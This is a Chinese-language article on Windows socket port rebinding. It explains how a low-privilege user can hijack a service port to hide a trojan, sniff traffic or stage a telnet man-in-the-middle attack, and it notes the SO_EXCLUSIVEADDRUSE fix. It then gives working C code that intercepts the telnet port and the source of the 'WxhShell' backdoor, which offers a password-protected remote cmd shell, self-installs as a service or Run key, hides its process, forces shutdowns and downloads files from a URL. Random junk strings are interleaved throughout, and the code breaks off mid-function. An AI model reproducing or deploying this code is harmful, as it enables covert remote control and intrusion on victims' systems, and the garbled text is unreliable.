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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S8"X7\d{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >%[(C*Cks ?m?e2{]u, saddr.sin_family = AF_INET; _FdWV? }clFaT>m? saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8zVXQ!' &]vd7Q.t bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u3k+Xg: N.-Ryj&9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T5-4Q G|^gaj '9 这意味着什么?意味着可以进行如下的攻击: wc__g8?' UdL`.D, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k9R1E/; 1Tiq2+hmf 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pd7FU~- :hJhEQH(9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]E=JUYf0 oTx#e[8f{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 4F:RLj9P! WUa-hm2: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Brpin eyAg\uuih 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|qbJ]v! y/i"o-}}~| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lsio\ $ `b7o #include 8o{ SU6pH #include Q?1 KxD! #include b<5:7C9z #include ut\9@>*J=Q DWORD WINAPI ClientThread(LPVOID lpParam); `kj7I{'l%9 int main() j 6v +S { &F.lo9JJ WORD wVersionRequested; 4G`YZZQ DWORD ret; s}?98?tYB WSADATA wsaData; slQKkx \Dn BOOL val; ^R<= } SOCKADDR_IN saddr;
y"9TS,lmK SOCKADDR_IN scaddr; KqtI^qC8 int err; R9#Z=f, SOCKET s; r`7`f xe SOCKET sc; m]DjIs*@%h int caddsize; E&K8hY%5 HANDLE mt; fp>o ^+VB DWORD tid; hF2
G{{8A wVersionRequested = MAKEWORD( 2, 2 ); UoKBcarm err = WSAStartup( wVersionRequested, &wsaData ); dR=SW0Oa{ if ( err != 0 ) { ,bH printf("error!WSAStartup failed!\n"); c"QH-sE return -1; 9f"6Jw@F } +>:X4A* saddr.sin_family = AF_INET; MPGQ4v i& 7rr5$,Mv //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qu;AU/Q<([
"= UP&= saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KY"~Ta` saddr.sin_port = htons(23); ]\3dJ^q|% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iySmNI { h2BD?y printf("error!socket failed!\n"); @wa/p`gj5w return -1; z$YOV"N } (wA|lK3 val = TRUE; igo7F@_, //SO_REUSEADDR选项就是可以实现端口重绑定的 `zsKc 6% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .#Sd|C]R7 { 8;Pdd1GyUL printf("error!setsockopt failed!\n"); E=x\f "Z return -1; H+: $ 7; } T[;{AXLeI //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $==hr^H //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CRqa[boU* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =oHJ_ };KmMpBn if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x208^=F\\ { |ow hF ret=GetLastError(); rB7(&(n>^ printf("error!bind failed!\n"); '$U"RP^( return -1; <Jvrmm[ } .#}SK!"B listen(s,2); >5N}ZIN while(1) |mM7P^I { h\ybh caddsize = sizeof(scaddr); hZJ Nh,,w //接受连接请求 /3c1{%B\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <w:fR|O if(sc!=INVALID_SOCKET) C<7J5 { ! TRiFD mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B}!n6j` if(mt==NULL) 97&6i TYA { 1R:h$*-z printf("Thread Creat Failed!\n"); <T&$1 m{ break; nrxN_0 R% } CRx:3u!: } *Js<VR CloseHandle(mt); 5_i&}c23Vn } ~_oTEXT^O closesocket(s); }Jtaq[y\r WSACleanup(); r8>
q*0~s return 0; ; 6zu! } J{1O\i DWORD WINAPI ClientThread(LPVOID lpParam) {6AJ>}3 { !C+25vup SOCKET ss = (SOCKET)lpParam; Wx-{F SOCKET sc; Q^F-8 unsigned char buf[4096]; ilHj%h*z SOCKADDR_IN saddr; !#?tA/t@ long num; <
xV!vN DWORD val; 9wwvh'T&NK DWORD ret; ,onv
` //如果是隐藏端口应用的话,可以在此处加一些判断 JBg>E3*N //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 [[|;Wr}2 saddr.sin_family = AF_INET; N0Y! saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dG|\geD saddr.sin_port = htons(23); cCeD3CuRA% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ov+qYBuFw { \:#b9t{B- printf("error!socket failed!\n"); 8<G@s`* return -1; v0y7N_U5n } #"OKO6] val = 100; 1|]-F;b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D\TL6"wo { #z~oc^J^T ret = GetLastError(); z/TZOFaM return -1; kOjq LA } qI"mW@G~H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (sl~n_<ds8 { T S.lFg:K ret = GetLastError(); H>D_0o<#y return -1; H9nq.<;p } VT9$&\)>O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]x Kmz { YA|*$$ printf("error!socket connect failed!\n"); B\mdOTLQ closesocket(sc); p$=3&qR 6 closesocket(ss); OGVhb>LO1 return -1; T]myhNk } o4J K$% while(1) -OHG1"/ { /U`"|3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,=ICSS~9l //如果是嗅探内容的话,可以再此处进行内容分析和记录 Vz#cb5:g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V&>7i9lEz num = recv(ss,buf,4096,0); y^XwJX-f if(num>0) -cW5v
send(sc,buf,num,0); COT;KC6
n else if(num==0) *?8Q:@: break; Pf!K()<uJ num = recv(sc,buf,4096,0); w9oiu$7), if(num>0) gsR"d@! send(ss,buf,num,0); vS0P]AUo else if(num==0) byMO&Lb* break; 8R
z=)J } #eaey+~ closesocket(ss); );6zV_^! closesocket(sc); 3646.i[D return 0 ; Y'Af I^K } |#sP1w'l] Vr^wesT\Hx Z4e?zY ========================================================== dYsqF
3f h%O`,iD2 下边附上一个代码,,WXhSHELL olJ9Kfc0 EbW7Av ========================================================== s)L7o)56/ }Bb(wP^B. #include "stdafx.h" LY|h*a6Ym J^W.TM&q$, #include <stdio.h> ;aF / <r #include <string.h> ,aN/``j= #include <windows.h> S*]IR"YL #include <winsock2.h> ?e@Ff"Y@e #include <winsvc.h> FHD6@{{Gp" #include <urlmon.h> WFB2 Ub7 *0iP*j/] #pragma comment (lib, "Ws2_32.lib") qV}zV\Nz #pragma comment (lib, "urlmon.lib") l|&nGCW L.GpQJ8u #define MAX_USER 100 // 最大客户端连接数 %1 v)rg
y #define BUF_SOCK 200 // sock buffer N7E[wOP #define KEY_BUFF 255 // 输入 buffer @M,_mX 87HVD Di #define REBOOT 0 // 重启 OUs2)H61 #define SHUTDOWN 1 // 关机 !At _^hSqz X=JSqO6V9 #define DEF_PORT 5000 // 监听端口 OVd"'|&6_ =thgNMDm" #define REG_LEN 16 // 注册表键长度 tQ)8HVKF #define SVC_LEN 80 // NT服务名长度 w7
QIKsI0 @ NVq
.z // 从dll定义API z!1j8o2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
V`%m~#Me typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $+mmqc8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~E!"YkIr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )rXP2Z eL(T // wxhshell配置信息 X23TS` struct WSCFG { 4@bL` L) int ws_port; // 监听端口 p5bH-km6 char ws_passstr[REG_LEN]; // 口令 YF;8il{p int ws_autoins; // 安装标记, 1=yes 0=no Ri,UHI4 W char ws_regname[REG_LEN]; // 注册表键名 }ri"u;.R char ws_svcname[REG_LEN]; // 服务名 \Lc
pl-;? char ws_svcdisp[SVC_LEN]; // 服务显示名 5~sJ$5<, char ws_svcdesc[SVC_LEN]; // 服务描述信息 'UB<;6wy char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eg}|%GG int ws_downexe; // 下载执行标记, 1=yes 0=no 1xx-}AIH# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" T.{I~_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tVe*J@i\$ ]y(#]Tw\ }; "16==tLFE "NJ!A // default Wxhshell configuration 8@r+)2 struct WSCFG wscfg={DEF_PORT, ?>,aq>2O$ "xuhuanlingzhe", Q!"Li 1, 3QF!fll^ "Wxhshell", q/Gy&8
K "Wxhshell", +28FB[W "WxhShell Service", <y!BO "Wrsky Windows CmdShell Service", QQ?` 1W "Please Input Your Password: ", B!Qdf8We 1, Bb1dH/8 " http://www.wrsky.com/wxhshell.exe", C[pAa 8 "Wxhshell.exe" #v v
k7 }; -_2=NA?t gy>2=d // 消息定义模块 BBp
Hp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dJ|]W|q< char *msg_ws_prompt="\n\r? for help\n\r#>"; Z|7Y1W[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; "+rX*~ char *msg_ws_ext="\n\rExit."; Vb1@JC9b char *msg_ws_end="\n\rQuit."; X&McNO6" char *msg_ws_boot="\n\rReboot..."; jeJGxfi i char *msg_ws_poff="\n\rShutdown..."; O<+C$J| char *msg_ws_down="\n\rSave to "; _h.[I8xgYG eLt6Hg)s`9 char *msg_ws_err="\n\rErr!"; 1LE8,Gm& char *msg_ws_ok="\n\rOK!"; W9u( #ucOjdquq char ExeFile[MAX_PATH]; <:ZN int nUser = 0; zcA"\ HANDLE handles[MAX_USER]; B4{A(-Tc int OsIsNt; bg$e80 ^&,{ SERVICE_STATUS serviceStatus; 8RocObY_W SERVICE_STATUS_HANDLE hServiceStatusHandle; !|`YNsR =GLsoc-b // 函数声明 `yVJ `}hm int Install(void); |d Soq~Vz int Uninstall(void); >#V8l@IH int DownloadFile(char *sURL, SOCKET wsh); EJ86k>] int Boot(int flag); R{*p\; void HideProc(void); KcSvf;sx int GetOsVer(void); (K2 p3M^ int Wxhshell(SOCKET wsl); #!5GGe{I void TalkWithClient(void *cs); Bd7A-T)q! int CmdShell(SOCKET sock); ;z[yNW8 int StartFromService(void); 1ltoLd\{ int StartWxhshell(LPSTR lpCmdLine); =XYfzR eDy}_By^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i=SX_#b^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); -nU_eDy 1r8]EaI // 数据结构和表定义 aEgzQono SERVICE_TABLE_ENTRY DispatchTable[] = H!xBFiOH$n { D}_\oE/n {wscfg.ws_svcname, NTServiceMain}, bhg"<I {NULL, NULL} ?49wq4L;a }; #7g~Um%p &'(:xjN // 自我安装 zL>nDnL 4 int Install(void) zKI(yC { F 6SIhf.; char svExeFile[MAX_PATH]; xxedezNko HKEY key; kDm=Cjxv strcpy(svExeFile,ExeFile); z~X] v["d ]{;K|rCR- // 如果是win9x系统,修改注册表设为自启动 ]r#tJT`M if(!OsIsNt) { #_H=pNWe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nhy3E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6%5A&&O(b RegCloseKey(key); NcPzmW{#;g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9,F(f}(t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q!FJP9x RegCloseKey(key); zS?L3*u return 0; m@yaF:
R } ~JBQjb] } kiXa2Yn*(d } wlkS+$< else { m2 OP=z@) Q}1PPi, // 如果是NT以上系统,安装为系统服务 ]zD/W%c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i/WYjo if (schSCManager!=0) D'</eJ { #$#{QEh0} SC_HANDLE schService = CreateService M.t5,NJ ( T%ha2X= schSCManager, O[-wm;_(=* wscfg.ws_svcname, ZL@7Mr!e wscfg.ws_svcdisp, )ll}hGS SERVICE_ALL_ACCESS, R(hqBa/V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M>'-P SERVICE_AUTO_START, lv{Qn~\y& SERVICE_ERROR_NORMAL, n2TvPt\ svExeFile, 8_ju.h[ NULL, )+ S" ` NULL, ^D6 JckW NULL, *WOA",gZ NULL, ofN|%g / NULL ?X=9@ m ); $3FFb#r if (schService!=0) S"fnT*:.% { C
YnBZ CloseServiceHandle(schService); dp+wwNe CloseServiceHandle(schSCManager); (z"Cwa@e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w\85D|u strcat(svExeFile,wscfg.ws_svcname); X, J.!:4` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :JPI#zZun RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rs!J<CRq RegCloseKey(key); -
5A"TNU return 0; |~'{ [?a* } `oq
3G } } /(vT49(] CloseServiceHandle(schSCManager); -B@jQg@
> } ncu>
@K$n } :vc[ iZ 2< ^B]N return 1; xOZ?zN } "WK.sBFz4 0;V2>! // 自我卸载 6)Oe]{- int Uninstall(void) ZLBfQ+pM) { \z<'6,b HKEY key; .-nA#/2- 3``$yWWg if(!OsIsNt) { Kf(% aDYq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )M}bc1 _ RegDeleteValue(key,wscfg.ws_regname); `
R^[s56wp RegCloseKey(key); '"=C^f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =TyN"0@ RegDeleteValue(key,wscfg.ws_regname); !a?o9<V RegCloseKey(key); 3WaYeol` return 0; I:='LH, } #{<Jm?sU } 2,dGRf } .XS rLb? else { R1?g6. Mq jtl7t59R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l HZf'P_Wx if (schSCManager!=0) NjL,0Bp { -rU *)0PR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v%B^\S3) if (schService!=0) T w/CJg
{ nuXaZRH if(DeleteService(schService)!=0) { U4M!RdG CloseServiceHandle(schService); zYF'XB]4 CloseServiceHandle(schSCManager); d4gl V`%. return 0; E]"ePdZZ/ } 1jQz%^~ CloseServiceHandle(schService); X%39cXM C } Hn:%(Rg=aW CloseServiceHandle(schSCManager); XPb7gd"%W } :*@=px } } fSbH e,8C}
2 return 1; Le#bitp } j2tw`*S+ .rax`@\8 // 从指定url下载文件 Qp%kX@Z' int DownloadFile(char *sURL, SOCKET wsh) llQDZ}T { kg+"Ta[9 HRESULT hr; >m%\SuXq char seps[]= "/"; H6*F?a`)I char *token; ;J2=6np char *file; ^'[Rb!Q8 char myURL[MAX_PATH]; `P"-9Ue= char myFILE[MAX_PATH]; @;Yb6&I; F y^!*M- strcpy(myURL,sURL); o^_z+JFwb token=strtok(myURL,seps); KJJ8P`Kx while(token!=NULL) Ge|caiH1I { Z#MPlw0B file=token; Hd6Qy {,*- token=strtok(NULL,seps); Pxy(YMv } f`H}Y!W( !P#lTyz GetCurrentDirectory(MAX_PATH,myFILE); ${mHbqN strcat(myFILE, "\\"); yn4Xi@9Pri strcat(myFILE, file); N2=gSEY send(wsh,myFILE,strlen(myFILE),0); / ijj;9EB send(wsh,"...",3,0); Ow mI*` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_^dWJ0 if(hr==S_OK) 5-aCNAF2 return 0; Q!|. ,?V else I)9;4lix return 1; zgqe@;{ L 'H1\'
o } swe6AQ- J'Gn M?M // 系统电源模块 3| g'1X} int Boot(int flag) b8Y1 .y"# { D)f hk!< HANDLE hToken; (9@6M8A TOKEN_PRIVILEGES tkp; 1% EIP-z A]ciox$AjW if(OsIsNt) { a!xKS8-S== OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); # 1I<qK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NCl$vc;, tkp.PrivilegeCount = 1; 19&!#z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *>zr'Tt,W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O. @_2 if(flag==REBOOT) { Vg&`f if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `{8Sr) return 0; H&`p9d*(e } 4s.wQ2m else { Xy=|qu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rsy'ZVLUj return 0; n"d~UV^Uw } >"N \ZC^ } 4|7L26,]5 else { N{
;{<C9Z if(flag==REBOOT) { rJKX4,M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DJT)7l { return 0; phEM1",4T } nD!C9G#oS else { *+lnAxRa? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `L7 cS return 0; l,-smK69
} enK4`+.7 } pA"pt~6 rh/3N8[6 return 1; ,5H$Tm,6\S } ayHI(4!$j |]Pigi7y- // win9x进程隐藏模块 1m|1eAGS{ void HideProc(void) PBR+NHrZ { H Viu7kue` h$4V5V HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x(}@se if ( hKernel != NULL ) E+UOuf*( { 3zMmpeq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6D_4o&N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <o^mQq& FreeLibrary(hKernel); OA&N WAm4 } rXo,\zI;u^ 9O~1o?ni return; D?8t'3no } 5/>G)& %[&cy' // 获取操作系统版本 2lE {
P int GetOsVer(void) 64o`7 { Td
X6<fVV OSVERSIONINFO winfo; >LwAG:Ud winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -P@o>#Em GetVersionEx(&winfo); qeH#c=DQ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?(;ygjyx return 1; 6D/5vM1 else %t:1)]2 return 0; pi3Z)YcT } w~&bpCB! Kx ?}%@b // 客户端句柄模块 ] l}8 int Wxhshell(SOCKET wsl) hRtnO|Z6 { L'z;*N3D SOCKET wsh; 6EP5n struct sockaddr_in client; qA
Jgz7=c DWORD myID; =DGaK0n f.Q?-M while(nUser<MAX_USER) 0'c<EJ { =HYMX"s int nSize=sizeof(client); d\'M ~VQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rS{Rzs^@ if(wsh==INVALID_SOCKET) return 1; nRb#M FV! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 64hr|v if(handles[nUser]==0) @fPiGu`L closesocket(wsh); 2p(K0PtX else *.n9D nUser++; T->O5t c } Y&]pC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AbcmI*y ,Es5PmV@$% return 0; 2pxl! } /vwGSuk._ }NiJDs // 关闭 socket OfbM]:}<3 void CloseIt(SOCKET wsh) M I/9?B { X 4;+` closesocket(wsh); ]ZHC*r2i nUser--; Zb<DgJ=3 ExitThread(0); SN\;&(?G } =DcKHL(m P;mmK&& // 客户端请求句柄 )7*Apy==x void TalkWithClient(void *cs) f)?s.DvUB { po\Q Me Z:u7`% SOCKET wsh=(SOCKET)cs; AIN_.=]"? char pwd[SVC_LEN]; ~^KemwogPN char cmd[KEY_BUFF]; /8Ca8Ju char chr[1]; `SFI\Y+WDT int i,j; &yp_wW- y[.0L!C { while (nUser < MAX_USER) { q J@XVN4 0_,V} if(wscfg.ws_passstr) { _ N.ZpKVu if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hXmW,+1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rnEWTk7& //ZeroMemory(pwd,KEY_BUFF); :M'3U g$t i=0; y~]>J^ while(i<SVC_LEN) { UXR$ 7<D+ pV:X_M6 // 设置超时 M)i2)]FS fd_set FdRead; +wS?Z5%mU struct timeval TimeOut; zT0FTAl^ FD_ZERO(&FdRead); /c]I|$v FD_SET(wsh,&FdRead); MJ4+|riB TimeOut.tv_sec=8; oypX.nye_ TimeOut.tv_usec=0; ft?J|AG int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pV<18CaJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !pQQkZol jbMzcn~ehI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pn{Nk1Pl pwd =chr[0]; `hY%<L sI if(chr[0]==0xd || chr[0]==0xa) { %h2U(=/: pwd=0; 1g^N7YF break; 87r#;ND } X<vv: i++; %dhnp9' } X3<<f`X Ycn*aR2 // 如果是非法用户,关闭 socket n;/yo~RR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )Uo)3FAn } wRi!eN? s{'r'`z. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sMs 0*B-[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bt-y6,> +E u4rG e! while(1) { m7cp0+Peo [Xg?sdQCI ZeroMemory(cmd,KEY_BUFF); g()YP SHIK=&\~- // 自动支持客户端 telnet标准 "b|qyT* Sl j=0; = 0Z}s while(j<KEY_BUFF) { ./rNq!*a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yAW%y cmd[j]=chr[0]; <x53b/ft if(chr[0]==0xa || chr[0]==0xd) { [?.k 8;k cmd[j]=0; ,4)zn6tC break; }3V Q*'X>i } _@ev(B j++; nB`pfg } n]r7} 2hM roVGS{4T\ // 下载文件 B24wn8< if(strstr(cmd,"http://")) { |36d<b Io send(wsh,msg_ws_down,strlen(msg_ws_down),0); >E^sZmY[f- if(DownloadFile(cmd,wsh)) ri.;& send(wsh,msg_ws_err,strlen(msg_ws_err),0); LS?3 >1g else Zb^0EbV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4pduzO'I } a>ZV'~zTf else { !c[?$#W4 nulVQOj| switch(cmd[0]) { SdeKRZ{o hDSt6O4za // 帮助 ?|w>."F case '?': { d3St Z~&r! send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `!K(P- yB? break; Xt_8=Q } f)Z$,& // 安装 9h9 jS~h case 'i': { 6`J*{%mP if(Install()) |'aGj send(wsh,msg_ws_err,strlen(msg_ws_err),0); bLhTgss]( else g~rZ= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U_K"JOZ break; nxS|] } h-].?X,]Q // 卸载 tMR&>hM case 'r': { &'TZU"_ if(Uninstall()) sC(IeGbX send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^?Mip else Y[R veF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w/IYQC\v break; 04D>h0yFf } b8r?Dd"T8 // 显示 wxhshell 所在路径 '=Nb`n3% case 'p': { mCb(B48]%X char svExeFile[MAX_PATH]; %iPWg strcpy(svExeFile,"\n\r"); Ej~vp2 strcat(svExeFile,ExeFile); c>6dlWTqX send(wsh,svExeFile,strlen(svExeFile),0); G3
rTzMO break; YC8wo1;Y! } J<'[P$D // 重启 ZX'q-JUv f case 'b': { |-a5|3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k Pi%RvuQ if(Boot(REBOOT)) U0 nSI send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;wK; else { >E;kM
B closesocket(wsh); Tvqq# ;I ExitThread(0); ikX"f?Q;S2 } BiT
#bg break; @.0>gmY;: } Fku~'30 // 关机 eyUguA<lK\ case 'd': { N?hQ53#3 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); * ?x$q/a if(Boot(SHUTDOWN)) /99S<U2ej send(wsh,msg_ws_err,strlen(msg_ws_err),0); YcOPqvQ else { O]3$$uI=QE closesocket(wsh); EmNJ_xY ExitThread(0); 6Ri+DPf: } RtO3!dGT. break; [
R } b
5<&hN4g // 获取shell 8eq*q case 's': { c<bV3, CmdShell(wsh);
U*(/eEtd- closesocket(wsh); >HNBTc=~t ExitThread(0); Ne#FBRu5 break; kl%%b"h' } `@TWZ%f6 // 退出 d9e_slx case 'x': { Kh&W\\K send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'K&^y%~py, CloseIt(wsh); VRU"2mQ.P6 break; -<H\VT%98 } bi/ AQ^ // 离开 FnxPM`Zx case 'q': { cq+G 0F+H send(wsh,msg_ws_end,strlen(msg_ws_end),0); diHK closesocket(wsh); HVjN<H IqM WSACleanup(); Pt5"q3ec{T exit(1); A0X'|4I break; mh#NmW>n } 7.)kG}q] } J>Pc@,y } PL} Wu= _E'F // 提示信息 A.tXAOM(VW if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7>.d*?eao\ } 3E9 )~$ } 2qd5iOhX+ [x{z}rYH return; ,+2!&"zD } PWci D '! wN
NXUW // shell模块句柄 @=_4i&]$ int CmdShell(SOCKET sock) I;1W6uD= { ,5V w^@F STARTUPINFO si; |"}oGL6- ZeroMemory(&si,sizeof(si)); Ey|{yUmU+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &3gC&b^i si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4g4[n7 PROCESS_INFORMATION ProcessInfo; _D+pJ{@W char cmdline[]="cmd"; gy5 ^JL CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GmhfBW? return 0; P* X^)R } oZ,J{I!L i4T=4q // 自身启动模式 n( RQre int StartFromService(void) `PY=B$?{4 { FEY_(70 typedef struct tTEw"DL_- { 5
w-Pq&q DWORD ExitStatus; $8>kk DWORD PebBaseAddress; F$/7X~* DWORD AffinityMask; f \ E9u} DWORD BasePriority; B]2m(0Y>>v ULONG UniqueProcessId; H 48YX(HI ULONG InheritedFromUniqueProcessId; 5Ve`j,`=< } PROCESS_BASIC_INFORMATION; hGU
m7 cN% r\ PROCNTQSIP NtQueryInformationProcess; 1;v,rs M L|hELWru static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F8H4R7
